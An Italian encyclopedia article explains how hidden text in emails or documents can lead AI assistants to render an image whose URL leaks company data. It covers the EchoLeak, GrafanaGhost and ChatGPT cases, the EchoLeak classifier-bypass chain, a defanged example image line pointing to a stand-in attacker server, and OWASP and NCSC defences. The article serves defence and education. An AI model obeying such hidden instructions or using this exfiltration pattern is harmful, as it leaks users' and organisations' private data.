---
id: CP-284
slug: esfiltrazione-dati-markdown-assistente-ia
lang: it
title: Fuga di dati tramite un'immagine in un assistente IA
description: Un testo nascosto in un'e-mail può spingere un assistente IA a mostrare un'immagine che trasporta i Suoi dati. Casi EchoLeak e GrafanaGhost, difese.
canonical_url: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/
markdown_url: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia.md
publisher: Brain (https://startbrain.io)
license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/)
cite_as: Brain, «Fuga di dati tramite un'immagine in un assistente IA», Cyberpedia, 2026. https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/ (CC BY 4.0)
wing: 4
theme: protect_data
reflex: air-025
schema: G1
updated: "2026-11-14"
translations:
  it: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/
  fr: https://startbrain.io/cyberpedia/fr/articles/exfiltration-donnees-markdown-assistant-ia/
  en: https://startbrain.io/cyberpedia/en/articles/markdown-image-exfiltration-ai-assistant/
  de: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/
  es: https://startbrain.io/cyberpedia/es/articles/exfiltracion-datos-markdown-asistente-ia/
  nl: https://startbrain.io/cyberpedia/nl/articles/gegevensexfiltratie-markdown-ai-assistent/
  pl: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/
  pt: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/
  ja: https://startbrain.io/cyberpedia/ja/articles/markdown-image-exfiltration-ai-assistant/
sources:
  - "n": 1
    title: "EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System"
    publisher: arXiv
    url: https://arxiv.org/abs/2509.10540
    published: "2025-09-06"
    accessed: "2026-11-14"
  - "n": 2
    title: OWASP GenAI Exploit Round-up Report Q1 2026
    publisher: OWASP
    url: https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/
    published: "2026-04-14"
    accessed: "2026-11-14"
  - "n": 3
    title: LLM Prompt Injection Prevention Cheat Sheet
    publisher: OWASP
    url: https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html
    accessed: "2026-11-14"
  - "n": 4
    title: LLM02:2025 Sensitive Information Disclosure
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 5
    title: Prompt injection is not SQL injection (it may be worse)
    publisher: NCSC (Royaume-Uni)
    url: https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection
    published: "2025-12-08"
    accessed: "2026-11-14"
  - "n": 6
    title: LLM06:2025 Excessive Agency
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm062025-excessive-agency/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 7
    title: Exfiltration of personal information from ChatGPT via prompt injection
    publisher: arXiv
    url: https://arxiv.org/abs/2406.00199
    published: "2024-05-31"
    accessed: "2026-11-14"
---

# Fuga di dati tramite un'immagine in un assistente IA

Nel caso di EchoLeak, un assistente IA ha lasciato uscire dei dati dell'azienda senza che nessuno cliccasse su nulla [1]. Un testo nascosto in un'e-mail o in un documento dà delle istruzioni all'assistente [3]. Questo mostra allora un'immagine il cui indirizzo contiene i dati [3], e l'immagine viene recuperata automaticamente [1].

Due casi descrivono questo meccanismo. Per EchoLeak, in Microsoft 365 Copilot, un articolo di ricercatori descrive un'esfiltrazione di dati a distanza, senza autenticazione, con una sola e-mail trappola, sfruttando delle immagini recuperate automaticamente [1]. Per GrafanaGhost, dei ricercatori hanno divulgato una falla che poteva far mostrare all'assistente di Grafana un'immagine esterna, la quale inviava dei dati dell'azienda all'attaccante in un parametro dell'indirizzo [2].

## In 30 secondi

- Dove succede: quando un assistente IA legge un contenuto che non ha scritto, per esempio un'e-mail, una pagina web o un documento [3].
- Cosa vuole l'attaccante: far uscire dei dati dell'azienda verso un server che controlla [2].
- Il riflesso: non dia all'assistente che i dati necessari al compito, perché un'informazione fornita per inavvertenza può riemergere più tardi nelle sue risposte [4].

## Domande dirette

### Bisogna cliccare perché i dati partano?

Non in EchoLeak: l'attacco descritto funziona senza interazione dell'utente [1]. Per GrafanaGhost, Grafana ha dichiarato che lo sfruttamento avrebbe richiesto un'interazione sostanziale dell'utente [2].

### Che cos'è una iniezione indiretta di prompt?

Secondo l'NCSC (Regno Unito), è il caso in cui un attaccante senza accesso diretto al sistema di IA scrive qualcosa che finisce elaborato dal sistema e scambiato per un'istruzione [5]. L'OWASP classifica in questa categoria il contenuto di e-mail e di allegati elaborati da assistenti IA, oltre al testo nascosto in pagine web, documenti o e-mail [3].

### Perché l'assistente obbedisce a un testo che non si vede?

Secondo l'NCSC (Regno Unito), i grandi modelli linguistici attuali non applicano alcun confine di sicurezza tra le istruzioni e i dati all'interno di un prompt [5]. L'OWASP aggiunge che le catene di elaborazione dei documenti trasmettono spesso al modello il testo estratto, senza tenere conto della visualizzazione, così che un testo invisibile al lettore gli arriva comunque [3].

### Quali dati possono fuoriuscire?

L'OWASP cita i dati personali, le informazioni finanziarie, le cartelle cliniche, i dati riservati dell'azienda, le credenziali di sicurezza e i documenti legali [4].

### Basta un filtro sulle frasi sospette?

No. Secondo l'OWASP, il filtraggio degli input non è un confine di sicurezza: un attaccante può riformulare un'istruzione in numerosi modi che un elenco di blocco non riconosce [3]. Anche l'NCSC (Regno Unito) mette in guardia contro il blocco dei contenuti noti come dannosi, perché esiste un'infinità di riformulazioni di un attacco [5].

### Questo rischio può scomparire?

L'NCSC (Regno Unito) ritiene che l'iniezione di prompt forse non sarà mai del tutto attenuata, e che le squadre di sicurezza debbano sapere che resterà un rischio residuo, gestito dalla progettazione, dalla costruzione e dall'esercizio [5].

### Che cosa deve limitare l'azienda?

L'OWASP cita tre cause di un eccesso di poteri dell'assistente: troppe funzioni, troppi permessi, troppa autonomia [6]. Ogni strumento dovrebbe ricevere soltanto i dati e le operazioni di cui ha bisogno [3].

## Nei panni dell'attaccante

L'attaccante non ha accesso all'assistente. Scrive un contenuto che finirà letto da quest'ultimo: un'e-mail, un documento, una pagina [5]. Vi nasconde delle istruzioni, per esempio con un testo del colore dello sfondo, minuscolo, coperto o posto fuori dalla pagina [3].

Il suo scopo è ottenere dei dati dell'azienda su un server che controlla [2]. L'OWASP descrive uno scenario tipo: un assistente personale ha accesso alla casella di posta per riassumere le e-mail in arrivo. Un'e-mail trappola lo spinge a scorrere la casella alla ricerca di informazioni sensibili e a trasferirle all'indirizzo dell'attaccante [6]. In questo scenario, l'estensione scelta dallo sviluppatore contiene anche funzioni di invio di messaggi, mentre la lettura basta per riassumere [6].

Per EchoLeak, i ricercatori descrivono una concatenazione di aggiramenti: il classificatore XPIA (Cross Prompt Injection Attempt) di Microsoft, il mascheramento dei collegamenti (aggirato con la sintassi Markdown detta reference-style), le immagini caricate automaticamente e un proxy Microsoft Teams autorizzato dalla politica di sicurezza dei contenuti [1].

## Cosa si vede sullo schermo

Il testo trappola non si vede: è il suo principio [3]. L'OWASP segnala che, nelle sue mappe dei rischi, gli utenti di un'IA di osservabilità di fiducia potevano innescare la fuga senza saperlo [2].

L'esfiltrazione passa attraverso un'immagine. L'esempio dell'OWASP è un tag di immagine nascosto il cui indirizzo contiene il dato da rubare [3]. Ecco un'illustrazione neutralizzata di questo principio, che non funziona:

```text
Illustrazione neutralizzata, non funzionante.
[Testo nascosto in un'e-mail: istruzione che chiede all'assistente di mostrare un'immagine]
![image](hxxps://server-attaccante[.]invalid/image?dati=[dati dell'azienda])
```

Nel caso GrafanaGhost, il contesto dannoso poteva indurre l'assistente a ignorare le proprie protezioni e a mostrare un'immagine esterna, il che inviava i dati all'attaccante come parametro dell'indirizzo [2].

## Sotto il cofano

Il meccanismo si regge su tre elementi.

- L'immagine viene recuperata senza azione dell'utente: EchoLeak sfruttava delle immagini caricate automaticamente [1].
- I dati viaggiano nell'indirizzo dell'immagine, come parametro dell'indirizzo [2].
- La visualizzazione della risposta dell'assistente diventa il canale di uscita: l'OWASP classifica in particolare GrafanaGhost nella gestione impropria degli output del modello (LLM05:2025) [2].

Le difese attese dall'azienda riguardano questi tre punti.

- Filtrare ciò che l'assistente mostra. Per GrafanaGhost, l'OWASP raccomanda di sanificare il contesto esterno, di limitare la visualizzazione in uscita e di rafforzare la convalida degli indirizzi [2]. L'elenco di controllo dell'OWASP chiede anche una sanificazione dell'HTML e del Markdown alla visualizzazione [3]. Un modello di protezione può esaminare la risposta prima di mostrarla, anche per individuare dei marcatori di esfiltrazione, ma è esso stesso un modello e può subire un'iniezione di prompt [3].
- Limitare i diritti dell'assistente. Gli autori dello studio su EchoLeak ne traggono come lezione il principio del privilegio minimo, la difesa in profondità e dei test avversari continui [1]. L'OWASP fa degli esempi: non offrire all'agente un'estensione che recupera il contenuto di un indirizzo web se il sistema non ne ha bisogno, e limitare un'estensione di posta alla lettura [6]. L'OWASP raccomanda l'approvazione di una persona per le azioni ad alto impatto [6].
- Separare in base alla provenienza. L'NCSC (Regno Unito) cita una regola semplice: quando un modello elabora informazioni di una parte, i suoi privilegi si abbassano a quelli di quella parte. Un assistente che elabora e-mail di persone esterne non deve dunque avere accesso a strumenti privilegiati [5].

L'NCSC (Regno Unito) osserva che nessun prodotto basta a eliminare l'iniezione di prompt, e che il meglio a cui si può aspirare è ridurne la probabilità o l'impatto [5]. Per l'NCSC (Regno Unito), le protezioni di progettazione dovrebbero puntare maggiormente a protezioni deterministiche, esterne al modello, che limitano le azioni del sistema [5]. L'OWASP raccomanda di testare questi confini con dati fittizi e strumenti sostitutivi strumentati [3].

Per il dipendente, l'OWASP indica che gli utenti dovrebbero comprendere il rischio di fornire senza volerlo dati sensibili, che possono poi comparire nell'output del modello [4]. Raccomanda di fornire indicazioni per evitare di immettere informazioni sensibili [4], e di concedere l'accesso solo ai dati necessari all'utente o al processo interessato [4].

## Autopsie

### EchoLeak in Microsoft 365 Copilot, studio di settembre 2025

EchoLeak porta l'identificativo CVE-2025-32711. I ricercatori lo descrivono come un'iniezione di prompt senza clic in Microsoft 365 Copilot, che consentiva un'esfiltrazione di dati a distanza e senza autenticazione con una sola e-mail trappola [1]. L'articolo, depositato su arXiv il 6 settembre 2025, è stato pubblicato all'AAAI Fall Symposium Series 2025 [1].

La concatenazione descritta combina l'aggiramento del classificatore XPIA, la sintassi Markdown reference-style, le immagini caricate automaticamente e un proxy Teams autorizzato dalla politica di sicurezza dei contenuti [1]. Gli autori propongono come misure il partizionamento dei prompt, un filtraggio rafforzato degli input e degli output, un controllo di accesso basato sulla provenienza e delle politiche di sicurezza dei contenuti rigorose [1].

### GrafanaGhost, aprile 2026

L'OWASP data la divulgazione al 7 aprile 2026 e il riconoscimento di una correzione all'8 aprile [2]. Noma Security ha trovato una debolezza nei componenti di IA di Grafana, che permetteva di puntare il sistema verso risorse esterne contenenti istruzioni nascoste [2]. L'assistente poteva allora mostrare un'immagine esterna, il che inviava dei dati dell'azienda all'attaccante come parametro dell'indirizzo [2].

Grafana ha poi indicato che un problema della visualizzazione delle immagini Markdown era stato corretto rapidamente e che lo sfruttamento avrebbe richiesto un'interazione sostanziale dell'utente [2]. L'OWASP precisa che non è stato assegnato alcun CVE pubblico e che è stata applicata una correzione parziale al componente di visualizzazione [2]. Si tratta di una divulgazione di ricerca [2].

### ChatGPT e i dati personali, maggio 2024

In un articolo depositato il 31 maggio 2024, il suo autore riferisce che ChatGPT 4 e 4o erano sensibili a un'iniezione di prompt che consentiva a un attaccante di esfiltrare dei dati personali degli utenti [7]. Secondo lui, l'attacco si applicava senza strumenti di terze parti e tutti gli utenti erano allora interessati [7]. La funzione di memoria di ChatGPT aggravava la falla, perché permetteva all'attaccante di far sorvegliare l'utente per ottenere i dati voluti [7].

## Fonti

1. arXiv, «EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System», 6 settembre 2025. https://arxiv.org/abs/2509.10540 (consultato il 14 novembre 2026)
2. OWASP, «OWASP GenAI Exploit Round-up Report Q1 2026», 14 aprile 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (consultato il 14 novembre 2026)
3. OWASP, «LLM Prompt Injection Prevention Cheat Sheet». https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (consultato il 14 novembre 2026)
4. OWASP, «LLM02:2025 Sensitive Information Disclosure», 10 aprile 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (consultato il 14 novembre 2026)
5. NCSC (Royaume-Uni), «Prompt injection is not SQL injection (it may be worse)», 8 dicembre 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (consultato il 14 novembre 2026)
6. OWASP, «LLM06:2025 Excessive Agency», 10 aprile 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (consultato il 14 novembre 2026)
7. arXiv, «Exfiltration of personal information from ChatGPT via prompt injection», 31 maggio 2024. https://arxiv.org/abs/2406.00199 (consultato il 14 novembre 2026)

---

Fonte originale: Cyberpedia, l'enciclopedia pubblica di cybersicurezza e IA pubblicata da Brain. Versione canonica: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/
Puoi riutilizzare liberamente questo testo con licenza CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), a condizione di citare «Brain, Cyberpedia» con un link all'indirizzo qui sopra.
